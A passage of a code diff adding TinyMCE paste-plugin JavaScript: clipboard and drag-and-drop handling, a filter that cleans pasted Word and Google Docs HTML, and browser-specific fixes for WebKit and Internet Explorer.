+			// for example: <img style="float: right"> we need to check if any of them contains some useful html.
+			// TODO: Man o man is this ugly. WebKit is the new IE! Remove this if they ever fix it!
+			pasteBinClones = editor.dom.select('div[id=mcepastebin]');
+			for (i = 0; i < pasteBinClones.length; i++) {
+				clone = pasteBinClones[i];
+
+				// Pasting plain text produces pastebins in pastebinds makes sence right!?
+				if (clone.firstChild && clone.firstChild.id == 'mcepastebin') {
+					clone = clone.firstChild;
+				}
+
+				cloneHtml = clone.innerHTML;
+				if (html != pasteBinDefaultContent) {
+					html += cloneHtml;
+				}
+			}
+
+			return html;
+		}
+
+		/**
+		 * Gets various content types out of a datatransfer object.
+		 *
+		 * @param {DataTransfer} dataTransfer Event fired on paste.
+		 * @return {Object} Object with mime types and data for those mime types.
+		 */
+		function getDataTransferItems(dataTransfer) {
+			var data = {};
+
+			if (dataTransfer) {
+				// Use old WebKit/IE API
+				if (dataTransfer.getData) {
+					var legacyText = dataTransfer.getData('Text');
+					if (legacyText && legacyText.length > 0) {
+						data['text/plain'] = legacyText;
+					}
+				}
+
+				if (dataTransfer.types) {
+					for (var i = 0; i < dataTransfer.types.length; i++) {
+						var contentType = dataTransfer.types[i];
+						data[contentType] = dataTransfer.getData(contentType);
+					}
+				}
+			}
+
+			return data;
+		}
+
+		/**
+		 * Gets various content types out of the Clipboard API. It will also get the
+		 * plain text using older IE and WebKit API:s.
+		 *
+		 * @param {ClipboardEvent} clipboardEvent Event fired on paste.
+		 * @return {Object} Object with mime types and data for those mime types.
+		 */
+		function getClipboardContent(clipboardEvent) {
+			return getDataTransferItems(clipboardEvent.clipboardData || editor.getDoc().dataTransfer);
+		}
+
+		/**
+		 * Checks if the clipboard contains image data if it does it will take that data
+		 * and convert it into a data url image and paste that image at the caret location.
+		 *
+		 * @param  {ClipboardEvent} e Paste/drop event object.
+		 * @param  {DOMRange} rng Optional rng object to move selection to.
+		 * @return {Boolean} true/false if the image data was found or not.
+		 */
+		function pasteImageData(e, rng) {
+			var dataTransfer = e.clipboardData || e.dataTransfer;
+
+			function processItems(items) {
+				var i, item, reader;
+
+				function pasteImage() {
+					if (rng) {
+						editor.selection.setRng(rng);
+						rng = null;
+					}
+
+					pasteHtml('<img src="' + reader.result + '">');
+				}
+
+				if (items) {
+					for (i = 0; i < items.length; i++) {
+						item = items[i];
+
+						if (/^image\/(jpeg|png|gif)$/.test(item.type)) {
+							reader = new FileReader();
+							reader.onload = pasteImage;
+							reader.readAsDataURL(item.getAsFile ? item.getAsFile() : item);
+
+							e.preventDefault();
+							return true;
+						}
+					}
+				}
+			}
+
+			if (editor.settings.paste_data_images && dataTransfer) {
+				return processItems(dataTransfer.items) || processItems(dataTransfer.files);
+			}
+		}
+
+		/**
+		 * Chrome on Android doesn't support proper clipboard access so we have no choice but to allow the browser default behavior.
+		 *
+		 * @param {Event} e Paste event object to check if it contains any data.
+		 * @return {Boolean} true/false if the clipboard is empty or not.
+		 */
+		function isBrokenAndroidClipboardEvent(e) {
+			var clipboardData = e.clipboardData;
+
+			return navigator.userAgent.indexOf('Android') != -1 && clipboardData && clipboardData.items && clipboardData.items.length === 0;
+		}
+
+		function getCaretRangeFromEvent(e) {
+			var doc = editor.getDoc(), rng, point;
+
+			if (doc.caretPositionFromPoint) {
+				point = doc.caretPositionFromPoint(e.clientX, e.clientY);
+				rng = doc.createRange();
+				rng.setStart(point.offsetNode, point.offset);
+				rng.collapse(true);
+			} else if (doc.caretRangeFromPoint) {
+				rng = doc.caretRangeFromPoint(e.clientX, e.clientY);
+			} else if (doc.body.createTextRange) {
+				rng = doc.body.createTextRange();
+
+				try {
+					rng.moveToPoint(e.clientX, e.clientY);
+					rng.collapse(true);
+				} catch (ex) {
+					// Append to top or bottom depending on drop location
+					rng.collapse(e.clientY < doc.body.clientHeight);
+				}
+			}
+
+			return rng;
+		}
+
+		function hasContentType(clipboardContent, mimeType) {
+			return mimeType in clipboardContent && clipboardContent[mimeType].length > 0;
+		}
+
+		function isKeyboardPasteEvent(e) {
+			return (VK.metaKeyPressed(e) && e.keyCode == 86) || (e.shiftKey && e.keyCode == 45);
+		}
+
+		function registerEventHandlers() {
+			editor.on('keydown', function(e) {
+				function removePasteBinOnKeyUp(e) {
+					// Ctrl+V or Shift+Insert
+					if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) {
+						removePasteBin();
+					}
+				}
+
+				// Ctrl+V or Shift+Insert
+				if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) {
+					keyboardPastePlainTextState = e.shiftKey && e.keyCode == 86;
+
+					// Edge case on Safari on Mac where it doesn't handle Cmd+Shift+V correctly
+					// it fires the keydown but no paste or keyup so we are left with a paste bin
+					if (keyboardPastePlainTextState && Env.webkit && navigator.userAgent.indexOf('Version/') != -1) {
+						return;
+					}
+
+					// Prevent undoManager keydown handler from making an undo level with the pastebin in it
+					e.stopImmediatePropagation();
+
+					keyboardPasteTimeStamp = new Date().getTime();
+
+					// IE doesn't support Ctrl+Shift+V and it doesn't even produce a paste event
+					// so lets fake a paste event and let IE use the execCommand/dataTransfer methods
+					if (Env.ie && keyboardPastePlainTextState) {
+						e.preventDefault();
+						editor.fire('paste', {ieFake: true});
+						return;
+					}
+
+					removePasteBin();
+					createPasteBin();
+
+					// Remove pastebin if we get a keyup and no paste event
+					// For example pasting a file in IE 11 will not produce a paste event
+					editor.once('keyup', removePasteBinOnKeyUp);
+					editor.once('paste', function() {
+						editor.off('keyup', removePasteBinOnKeyUp);
+					});
+				}
+			});
+
+			editor.on('paste', function(e) {
+				// Getting content from the Clipboard can take some time
+				var clipboardTimer = new Date().getTime();
+				var clipboardContent = getClipboardContent(e);
+				var clipboardDelay = new Date().getTime() - clipboardTimer;
+
+				var isKeyBoardPaste = (new Date().getTime() - keyboardPasteTimeStamp - clipboardDelay) < 1000;
+				var plainTextMode = self.pasteFormat == "text" || keyboardPastePlainTextState;
+
+				keyboardPastePlainTextState = false;
+
+				if (e.isDefaultPrevented() || isBrokenAndroidClipboardEvent(e)) {
+					removePasteBin();
+					return;
+				}
+
+				if (pasteImageData(e)) {
+					removePasteBin();
+					return;
+				}
+
+				// Not a keyboard paste prevent default paste and try to grab the clipboard contents using different APIs
+				if (!isKeyBoardPaste) {
+					e.preventDefault();
+				}
+
+				// Try IE only method if paste isn't a keyboard paste
+				if (Env.ie && (!isKeyBoardPaste || e.ieFake)) {
+					createPasteBin();
+
+					editor.dom.bind(pasteBinElm, 'paste', function(e) {
+						e.stopPropagation();
+					});
+
+					editor.getDoc().execCommand('Paste', false, null);
+					clipboardContent["text/html"] = getPasteBinHtml();
+				}
+
+				setTimeout(function() {
+					var content;
+
+					// Grab HTML from Clipboard API or paste bin as a fallback
+					if (hasContentType(clipboardContent, 'text/html')) {
+						content = clipboardContent['text/html'];
+					} else {
+						content = getPasteBinHtml();
+
+						// If paste bin is empty try using plain text mode
+						// since that is better than nothing right
+						if (content == pasteBinDefaultContent) {
+							plainTextMode = true;
+						}
+					}
+
+					content = Utils.trimHtml(content);
+
+					// WebKit has a nice bug where it clones the paste bin if you paste from for example notepad
+					// so we need to force plain text mode in this case
+					if (pasteBinElm && pasteBinElm.firstChild && pasteBinElm.firstChild.id === 'mcepastebin') {
+						plainTextMode = true;
+					}
+
+					removePasteBin();
+
+					// If we got nothing from clipboard API and pastebin then we could try the last resort: plain/text
+					if (!content.length) {
+						plainTextMode = true;
+					}
+
+					// Grab plain text from Clipboard API or convert existing HTML to plain text
+					if (plainTextMode) {
+						// Use plain text contents from Clipboard API unless the HTML contains paragraphs then
+						// we should convert the HTML to plain text since works better when pasting HTML/Word contents as plain text
+						if (hasContentType(clipboardContent, 'text/plain') && content.indexOf('</p>') == -1) {
+							content = clipboardContent['text/plain'];
+						} else {
+							content = Utils.innerText(content);
+						}
+					}
+
+					// If the content is the paste bin default HTML then it was
+					// impossible to get the cliboard data out.
+					if (content == pasteBinDefaultContent) {
+						if (!isKeyBoardPaste) {
+							editor.windowManager.alert('Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents.');
+						}
+
+						return;
+					}
+
+					if (plainTextMode) {
+						pasteText(content);
+					} else {
+						pasteHtml(content);
+					}
+				}, 0);
+			});
+
+			editor.on('dragstart dragend', function(e) {
+				draggingInternally = e.type == 'dragstart';
+			});
+
+			editor.on('drop', function(e) {
+				var rng = getCaretRangeFromEvent(e);
+
+				if (e.isDefaultPrevented() || draggingInternally) {
+					return;
+				}
+
+				if (pasteImageData(e, rng)) {
+					return;
+				}
+
+				if (rng && editor.settings.paste_filter_drop !== false) {
+					var dropContent = getDataTransferItems(e.dataTransfer);
+					var content = dropContent['mce-internal'] || dropContent['text/html'] || dropContent['text/plain'];
+
+					if (content) {
+						e.preventDefault();
+
+						editor.undoManager.transact(function() {
+							if (dropContent['mce-internal']) {
+								editor.execCommand('Delete');
+							}
+
+							editor.selection.setRng(rng);
+
+							content = Utils.trimHtml(content);
+
+							if (!dropContent['text/html']) {
+								pasteText(content);
+							} else {
+								pasteHtml(content);
+							}
+						});
+					}
+				}
+			});
+
+			editor.on('dragover dragend', function(e) {
+				var i, dataTransfer = e.dataTransfer;
+
+				if (editor.settings.paste_data_images && dataTransfer) {
+					for (i = 0; i < dataTransfer.types.length; i++) {
+						// Prevent default if we have files dragged into the editor since the pasteImageData handles that
+						if (dataTransfer.types[i] == "Files") {
+							e.preventDefault();
+							return false;
+						}
+					}
+				}
+			});
+		}
+
+		self.pasteHtml = pasteHtml;
+		self.pasteText = pasteText;
+
+		editor.on('preInit', function() {
+			registerEventHandlers();
+
+			// Remove all data images from paste for example from Gecko
+			// except internal images like video elements
+			editor.parser.addNodeFilter('img', function(nodes) {
+				if (!editor.settings.paste_data_images) {
+					var i = nodes.length;
+
+					while (i--) {
+						var src = nodes[i].attributes.map.src;
+
+						// Some browsers automatically produce data uris on paste
+						// Safari on Mac produces webkit-fake-url see: https://bugs.webkit.org/show_bug.cgi?id=49141
+						if (src && /^(data:image|webkit\-fake\-url)/.test(src)) {
+							if (!nodes[i].attr('data-mce-object') && src !== Env.transparentSrc) {
+								nodes[i].remove();
+							}
+						}
+					}
+				}
+			});
+		});
+	};
+});
+
+// Included from: js/tinymce/plugins/paste/classes/WordFilter.js
+
+/**
+ * WordFilter.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class parses word HTML into proper TinyMCE markup.
+ *
+ * @class tinymce.pasteplugin.Quirks
+ * @private
+ */
+define("tinymce/pasteplugin/WordFilter", [
+	"tinymce/util/Tools",
+	"tinymce/html/DomParser",
+	"tinymce/html/Schema",
+	"tinymce/html/Serializer",
+	"tinymce/html/Node",
+	"tinymce/pasteplugin/Utils"
+], function(Tools, DomParser, Schema, Serializer, Node, Utils) {
+	/**
+	 * Checks if the specified content is from any of the following sources: MS Word/Office 365/Google docs.
+	 */
+	function isWordContent(content) {
+		return (
+			(/<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i).test(content) ||
+			(/class="OutlineElement/).test(content) ||
+			(/id="?docs\-internal\-guid\-/.test(content))
+		);
+	}
+
+	/**
+	 * Checks if the specified text starts with "1. " or "a. " etc.
+	 */
+	function isNumericList(text) {
+		var found, patterns;
+
+		patterns = [
+			/^[IVXLMCD]{1,2}\.[ \u00a0]/,  // Roman upper case
+			/^[ivxlmcd]{1,2}\.[ \u00a0]/,  // Roman lower case
+			/^[a-z]{1,2}[\.\)][ \u00a0]/,  // Alphabetical a-z
+			/^[A-Z]{1,2}[\.\)][ \u00a0]/,  // Alphabetical A-Z
+			/^[0-9]+\.[ \u00a0]/,          // Numeric lists
+			/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/, // Japanese
+			/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/  // Chinese
+		];
+
+		text = text.replace(/^[\u00a0 ]+/, '');
+
+		Tools.each(patterns, function(pattern) {
+			if (pattern.test(text)) {
+				found = true;
+				return false;
+			}
+		});
+
+		return found;
+	}
+
+	function isBulletList(text) {
+		return /^[\s\u00a0]*[\u2022\u00b7\u00a7\u00d8\u25CF]\s*/.test(text);
+	}
+
+	function WordFilter(editor) {
+		var settings = editor.settings;
+
+		editor.on('BeforePastePreProcess', function(e) {
+			var content = e.content, retainStyleProperties, validStyles;
+
+			retainStyleProperties = settings.paste_retain_style_properties;
+			if (retainStyleProperties) {
+				validStyles = Tools.makeMap(retainStyleProperties.split(/[, ]/));
+			}
+
+			/**
+			 * Converts fake bullet and numbered lists to real semantic OL/UL.
+			 *
+			 * @param {tinymce.html.Node} node Root node to convert children of.
+			 */
+			function convertFakeListsToProperLists(node) {
+				var currentListNode, prevListNode, lastLevel = 1;
+
+				function getText(node) {
+					var txt = '';
+
+					if (node.type === 3) {
+						return node.value;
+					}
+
+					if ((node = node.firstChild)) {
+						do {
+							txt += getText(node);
+						} while ((node = node.next));
+					}
+
+					return txt;
+				}
+
+				function trimListStart(node, regExp) {
+					if (node.type === 3) {
+						if (regExp.test(node.value)) {
+							node.value = node.value.replace(regExp, '');
+							return false;
+						}
+					}
+
+					if ((node = node.firstChild)) {
+						do {
+							if (!trimListStart(node, regExp)) {
+								return false;
+							}
+						} while ((node = node.next));
+					}
+
+					return true;
+				}
+
+				function removeIgnoredNodes(node) {
+					if (node._listIgnore) {
+						node.remove();
+						return;
+					}
+
+					if ((node = node.firstChild)) {
+						do {
+							removeIgnoredNodes(node);
+						} while ((node = node.next));
+					}
+				}
+
+				function convertParagraphToLi(paragraphNode, listName, start) {
+					var level = paragraphNode._listLevel || lastLevel;
+
+					// Handle list nesting
+					if (level != lastLevel) {
+						if (level < lastLevel) {
+							// Move to parent list
+							if (currentListNode) {
+								currentListNode = currentListNode.parent.parent;
+							}
+						} else {
+							// Create new list
+							prevListNode = currentListNode;
+							currentListNode = null;
+						}
+					}
+
+					if (!currentListNode || currentListNode.name != listName) {
+						prevListNode = prevListNode || currentListNode;
+						currentListNode = new Node(listName, 1);
+
+						if (start > 1) {
+							currentListNode.attr('start', '' + start);
+						}
+
+						paragraphNode.wrap(currentListNode);
+					} else {
+						currentListNode.append(paragraphNode);
+					}
+
+					paragraphNode.name = 'li';
+
+					// Append list to previous list if it exists
+					if (level > lastLevel && prevListNode) {
+						prevListNode.lastChild.append(currentListNode);
+					}
+
+					lastLevel = level;
+
+					// Remove start of list item "1. " or "&middot; " etc
+					removeIgnoredNodes(paragraphNode);
+					trimListStart(paragraphNode, /^\u00a0+/);
+					trimListStart(paragraphNode, /^\s*([\u2022\u00b7\u00a7\u00d8\u25CF]|\w+\.)/);
+					trimListStart(paragraphNode, /^\u00a0+/);
+				}
+
+				// Build a list of all root level elements before we start
+				// altering them in the loop below.
+				var elements = [], child = node.firstChild;
+				while (typeof child !== 'undefined' && child !== null) {
+					elements.push(child);
+
+					child = child.walk();
+					if (child !== null) {
+						while (typeof child !== 'undefined' && child.parent !== node) {
+							child = child.walk();
+						}
+					}
+				}
+
+				for (var i = 0; i < elements.length; i++) {
+					node = elements[i];
+
+					if (node.name == 'p' && node.firstChild) {
+						// Find first text node in paragraph
+						var nodeText = getText(node);
+
+						// Detect unordered lists look for bullets
+						if (isBulletList(nodeText)) {
+							convertParagraphToLi(node, 'ul');
+							continue;
+						}
+
+						// Detect ordered lists 1., a. or ixv.
+						if (isNumericList(nodeText)) {
+							// Parse OL start number
+							var matches = /([0-9]+)\./.exec(nodeText);
+							var start = 1;
+							if (matches) {
+								start = parseInt(matches[1], 10);
+							}
+
+							convertParagraphToLi(node, 'ol', start);
+							continue;
+						}
+
+						// Convert paragraphs marked as lists but doesn't look like anything
+						if (node._listLevel) {
+							convertParagraphToLi(node, 'ul', 1);
+							continue;
+						}
+
+						currentListNode = null;
+					} else {
+						// If the root level element isn't a p tag which can be
+						// processed by convertParagraphToLi, it interrupts the
+						// lists, causing a new list to start instead of having
+						// elements from the next list inserted above this tag.
+						prevListNode = currentListNode;
+						currentListNode = null;
+					}
+				}
+			}
+
+			function filterStyles(node, styleValue) {
+				var outputStyles = {}, matches, styles = editor.dom.parseStyle(styleValue);
+
+				Tools.each(styles, function(value, name) {
+					// Convert various MS styles to W3C styles
+					switch (name) {
+						case 'mso-list':
+							// Parse out list indent level for lists
+							matches = /\w+ \w+([0-9]+)/i.exec(styleValue);
+							if (matches) {
+								node._listLevel = parseInt(matches[1], 10);
+							}
+
+							// Remove these nodes <span style="mso-list:Ignore">o</span>
+							// Since the span gets removed we mark the text node and the span
+							if (/Ignore/i.test(value) && node.firstChild) {
+								node._listIgnore = true;
+								node.firstChild._listIgnore = true;
+							}
+
+							break;
+
+						case "horiz-align":
+							name = "text-align";
+							break;
+
+						case "vert-align":
+							name = "vertical-align";
+							break;
+
+						case "font-color":
+						case "mso-foreground":
+							name = "color";
+							break;
+
+						case "mso-background":
+						case "mso-highlight":
+							name = "background";
+							break;
+
+						case "font-weight":
+						case "font-style":
+							if (value != "normal") {
+								outputStyles[name] = value;
+							}
+							return;
+
+						case "mso-element":
+							// Remove track changes code
+							if (/^(comment|comment-list)$/i.test(value)) {
+								node.remove();
+								return;
+							}
+
+							break;
+					}
+
+					if (name.indexOf('mso-comment') === 0) {
+						node.remove();
+						return;
+					}
+
+					// Never allow mso- prefixed names
+					if (name.indexOf('mso-') === 0) {
+						return;
+					}
+
+					// Output only valid styles
+					if (retainStyleProperties == "all" || (validStyles && validStyles[name])) {
+						outputStyles[name] = value;
+					}
+				});
+
+				// Convert bold style to "b" element
+				if (/(bold)/i.test(outputStyles["font-weight"])) {
+					delete outputStyles["font-weight"];
+					node.wrap(new Node("b", 1));
+				}
+
+				// Convert italic style to "i" element
+				if (/(italic)/i.test(outputStyles["font-style"])) {
+					delete outputStyles["font-style"];
+					node.wrap(new Node("i", 1));
+				}
+
+				// Serialize the styles and see if there is something left to keep
+				outputStyles = editor.dom.serializeStyle(outputStyles, node.name);
+				if (outputStyles) {
+					return outputStyles;
+				}
+
+				return null;
+			}
+
+			if (settings.paste_enable_default_filters === false) {
+				return;
+			}
+
+			// Detect is the contents is Word junk HTML
+			if (isWordContent(e.content)) {
+				e.wordContent = true; // Mark it for other processors
+
+				// Remove basic Word junk
+				content = Utils.filter(content, [
+					// Word comments like conditional comments etc
+					/<!--[\s\S]+?-->/gi,
+
+					// Remove comments, scripts (e.g., msoShowComment), XML tag, VML content,
+					// MS Office namespaced tags, and a few other tags
+					/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,
+
+					// Convert <s> into <strike> for line-though
+					[/<(\/?)s>/gi, "<$1strike>"],
+
+					// Replace nsbp entites to char since it's easier to handle
+					[/&nbsp;/gi, "\u00a0"],
+
+					// Convert <span style="mso-spacerun:yes">___</span> to string of alternating
+					// breaking/non-breaking spaces of same length
+					[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,
+						function(str, spaces) {
+							return (spaces.length > 0) ?
+								spaces.replace(/./, " ").slice(Math.floor(spaces.length / 2)).split("").join("\u00a0") : "";
+						}
+					]
+				]);
+
+				var validElements = settings.paste_word_valid_elements;
+				if (!validElements) {
+					validElements = (
+						'-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,' +
+						'-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,' +
+						'td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody'
+					);
+				}
+
+				// Setup strict schema
+				var schema = new Schema({
+					valid_elements: validElements,
+					valid_children: '-li[p]'
+				});
+
+				// Add style/class attribute to all element rules since the user might have removed them from
+				// paste_word_valid_elements config option and we need to check them for properties
+				Tools.each(schema.elements, function(rule) {
+					if (!rule.attributes["class"]) {
+						rule.attributes["class"] = {};
+						rule.attributesOrder.push("class");
+					}
+
+					if (!rule.attributes.style) {
+						rule.attributes.style = {};
+						rule.attributesOrder.push("style");
+					}
+				});
+
+				// Parse HTML into DOM structure
+				var domParser = new DomParser({}, schema);
+
+				// Filter styles to remove "mso" specific styles and convert some of them
+				domParser.addAttributeFilter('style', function(nodes) {
+					var i = nodes.length, node;
+
+					while (i--) {
+						node = nodes[i];
+						node.attr('style', filterStyles(node, node.attr('style')));
+
+						// Remove pointess spans
+						if (node.name == 'span' && node.parent && !node.attributes.length) {
+							node.unwrap();
+						}
+					}
+				});
+
+				// Check the class attribute for comments or del items and remove those
+				domParser.addAttributeFilter('class', function(nodes) {
+					var i = nodes.length, node, className;
+
+					while (i--) {
+						node = nodes[i];
+
+						className = node.attr('class');
+						if (/^(MsoCommentReference|MsoCommentText|msoDel|MsoCaption)$/i.test(className)) {
+							node.remove();
+						}
+
+						node.attr('class', null);
+					}
+				});
+
+				// Remove all del elements since we don't want the track changes code in the editor
+				domParser.addNodeFilter('del', function(nodes) {
+					var i = nodes.length;
+
+					while (i--) {
+						nodes[i].remove();
+					}
+				});
+
+				// Keep some of the links and anchors
+				domParser.addNodeFilter('a', function(nodes) {
+					var i = nodes.length, node, href, name;
+
+					while (i--) {
+						node = nodes[i];
+						href = node.attr('href');
+						name = node.attr('name');
+
+						if (href && href.indexOf('#_msocom_') != -1) {
+							node.remove();
+							continue;
+						}
+
+						if (href && href.indexOf('file://') === 0) {
+							href = href.split('#')[1];
+							if (href) {
+								href = '#' + href;
+							}
+						}
+
+						if (!href && !name) {
+							node.unwrap();
+						} else {
+							// Remove all named anchors that aren't specific to TOC, Footnotes or Endnotes
+							if (name && !/^_?(?:toc|edn|ftn)/i.test(name)) {
+								node.unwrap();
+								continue;
+							}
+
+							node.attr({
+								href: href,
+								name: name
+							});
+						}
+					}
+				});
+
+				// Parse into DOM structure
+				var rootNode = domParser.parse(content);
+
+				// Process DOM
+				if (settings.paste_convert_word_fake_lists !== false) {
+					convertFakeListsToProperLists(rootNode);
+				}
+
+				// Serialize DOM back to HTML
+				e.content = new Serializer({}, schema).serialize(rootNode);
+			}
+		});
+	}
+
+	WordFilter.isWordContent = isWordContent;
+
+	return WordFilter;
+});
+
+// Included from: js/tinymce/plugins/paste/classes/Quirks.js
+
+/**
+ * Quirks.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class contains various fixes for browsers. These issues can not be feature
+ * detected since we have no direct control over the clipboard. However we might be able
+ * to remove some of these fixes once the browsers gets updated/fixed.
+ *
+ * @class tinymce.pasteplugin.Quirks
+ * @private
+ */
+define("tinymce/pasteplugin/Quirks", [
+	"tinymce/Env",
+	"tinymce/util/Tools",
+	"tinymce/pasteplugin/WordFilter",
+	"tinymce/pasteplugin/Utils"
+], function(Env, Tools, WordFilter, Utils) {
+	"use strict";
+
+	return function(editor) {
+		function addPreProcessFilter(filterFunc) {
+			editor.on('BeforePastePreProcess', function(e) {
+				e.content = filterFunc(e.content);
+			});
+		}
+
+		/**
+		 * Removes BR elements after block elements. IE9 has a nasty bug where it puts a BR element after each
+		 * block element when pasting from word. This removes those elements.
+		 *
+		 * This:
+		 *  <p>a</p><br><p>b</p>
+		 *
+		 * Becomes:
+		 *  <p>a</p><p>b</p>
+		 */
+		function removeExplorerBrElementsAfterBlocks(html) {
+			// Only filter word specific content
+			if (!WordFilter.isWordContent(html)) {
+				return html;
+			}
+
+			// Produce block regexp based on the block elements in schema
+			var blockElements = [];
+
+			Tools.each(editor.schema.getBlockElements(), function(block, blockName) {
+				blockElements.push(blockName);
+			});
+
+			var explorerBlocksRegExp = new RegExp(
+				'(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*(<\\/?(' + blockElements.join('|') + ')[^>]*>)(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*',
+				'g'
+			);
+
+			// Remove BR:s from: <BLOCK>X</BLOCK><BR>
+			html = Utils.filter(html, [
+				[explorerBlocksRegExp, '$1']
+			]);
+
+			// IE9 also adds an extra BR element for each soft-linefeed and it also adds a BR for each word wrap break
+			html = Utils.filter(html, [
+				[/<br><br>/g, '<BR><BR>'], // Replace multiple BR elements with uppercase BR to keep them intact
+				[/<br>/g, ' '],            // Replace single br elements with space since they are word wrap BR:s
+				[/<BR><BR>/g, '<br>']      // Replace back the double brs but into a single BR
+			]);
+
+			return html;
+		}
+
+		/**
+		 * WebKit has a nasty bug where the all computed styles gets added to style attributes when copy/pasting contents.
+		 * This fix solves that by simply removing the whole style attribute.
+		 *
+		 * The paste_webkit_styles option can be set to specify what to keep:
+		 *  paste_webkit_styles: "none" // Keep no styles
+		 *  paste_webkit_styles: "all", // Keep all of them
+		 *  paste_webkit_styles: "font-weight color" // Keep specific ones
+		 *
+		 * @param {String} content Content that needs to be processed.
+		 * @return {String} Processed contents.
+		 */
+		function removeWebKitStyles(content) {
+			// Passthrough all styles from Word and let the WordFilter handle that junk
+			if (WordFilter.isWordContent(content)) {
+				return content;
+			}
+
+			// Filter away styles that isn't matching the target node
+			var webKitStyles = editor.settings.paste_webkit_styles;
+
+			if (editor.settings.paste_remove_styles_if_webkit === false || webKitStyles == "all") {
+				return content;
+			}
+
+			if (webKitStyles) {
+				webKitStyles = webKitStyles.split(/[, ]/);
+			}
+
+			// Keep specific styles that doesn't match the current node computed style
+			if (webKitStyles) {
+				var dom = editor.dom, node = editor.selection.getNode();
+
+				content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, function(all, before, value, after) {
+					var inputStyles = dom.parseStyle(value, 'span'), outputStyles = {};
+
+					if (webKitStyles === "none") {
+						return before + after;
+					}
+
+					for (var i = 0; i < webKitStyles.length; i++) {
+						var inputValue = inputStyles[webKitStyles[i]], currentValue = dom.getStyle(node, webKitStyles[i], true);
+
+						if (/color/.test(webKitStyles[i])) {
+							inputValue = dom.toHex(inputValue);
+							currentValue = dom.toHex(currentValue);
+						}
+
+						if (currentValue != inputValue) {
+							outputStyles[webKitStyles[i]] = inputValue;
+						}
+					}
+
+					outputStyles = dom.serializeStyle(outputStyles, 'span');
+					if (outputStyles) {
+						return before + ' style="' + outputStyles + '"' + after;
+					}
+
+					return before + after;
+				});
+			} else {
+				// Remove all external styles
+				content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, '$1$3');
+			}
+
+			// Keep internal styles
+			content = content.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi, function(all, before, value, after) {
+				return before + ' style="' + value + '"' + after;
+			});
+
+			return content;
+		}
+
+		// Sniff browsers and apply fixes since we can't feature detect
+		if (Env.webkit) {
+			addPreProcessFilter(removeWebKitStyles);
+		}
+
+		if (Env.ie) {
+			addPreProcessFilter(removeExplorerBrElementsAfterBlocks);
+		}
+	};
+});
+
+// Included from: js/tinymce/plugins/paste/classes/Plugin.js
+
+/**
+ * Plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class contains the tinymce plugin logic for the paste plugin.
+ *
+ * @class tinymce.pasteplugin.Plugin
+ * @private
+ */
+define("tinymce/pasteplugin/Plugin", [
+	"tinymce/PluginManager",
+	"tinymce/pasteplugin/Clipboard",
+	"tinymce/pasteplugin/WordFilter",
+	"tinymce/pasteplugin/Quirks"
+], function(PluginManager, Clipboard, WordFilter, Quirks) {
+	var userIsInformed;
+
+	PluginManager.add('paste', function(editor) {
+		var self = this, clipboard, settings = editor.settings;
+
+		function togglePlainTextPaste() {
+			if (clipboard.pasteFormat == "text") {
+				this.active(false);
+				clipboard.pasteFormat = "html";
+			} else {
+				clipboard.pasteFormat = "text";
+				this.active(true);
+
+				if (!userIsInformed) {
+					editor.windowManager.alert(
+						'Paste is now in plain text mode. Contents will now ' +
+						'be pasted as plain text until you toggle this option off.'
+					);
+
+					userIsInformed = true;
+				}
+			}
+		}
+
+		self.clipboard = clipboard = new Clipboard(editor);
+		self.quirks = new Quirks(editor);
+		self.wordFilter = new WordFilter(editor);
+
+		if (editor.settings.paste_as_text) {
+			self.clipboard.pasteFormat = "text";
+		}
+
+		if (settings.paste_preprocess) {
+			editor.on('PastePreProcess', function(e) {
+				settings.paste_preprocess.call(self, self, e);
+			});
+		}
+
+		if (settings.paste_postprocess) {
+			editor.on('PastePostProcess', function(e) {
+				settings.paste_postprocess.call(self, self, e);
+			});
+		}
+
+		editor.addCommand('mceInsertClipboardContent', function(ui, value) {
+			if (value.content) {
+				self.clipboard.pasteHtml(value.content);
+			}
+
+			if (value.text) {
+				self.clipboard.pasteText(value.text);
+			}
+		});
+
+		// Block all drag/drop events
+		if (editor.paste_block_drop) {
+			editor.on('dragend dragover draggesture dragdrop drop drag', function(e) {
+				e.preventDefault();
+				e.stopPropagation();
+			});
+		}
+
+		// Prevent users from dropping data images on Gecko
+		if (!editor.settings.paste_data_images) {
+			editor.on('drop', function(e) {
+				var dataTransfer = e.dataTransfer;
+
+				if (dataTransfer && dataTransfer.files && dataTransfer.files.length > 0) {
+					e.preventDefault();
+				}
+			});
+		}
+
+		editor.addButton('pastetext', {
+			icon: 'pastetext',
+			tooltip: 'Paste as text',
+			onclick: togglePlainTextPaste,
+			active: self.clipboard.pasteFormat == "text"
+		});
+
+		editor.addMenuItem('pastetext', {
+			text: 'Paste as text',
+			selectable: true,
+			active: clipboard.pasteFormat,
+			onclick: togglePlainTextPaste
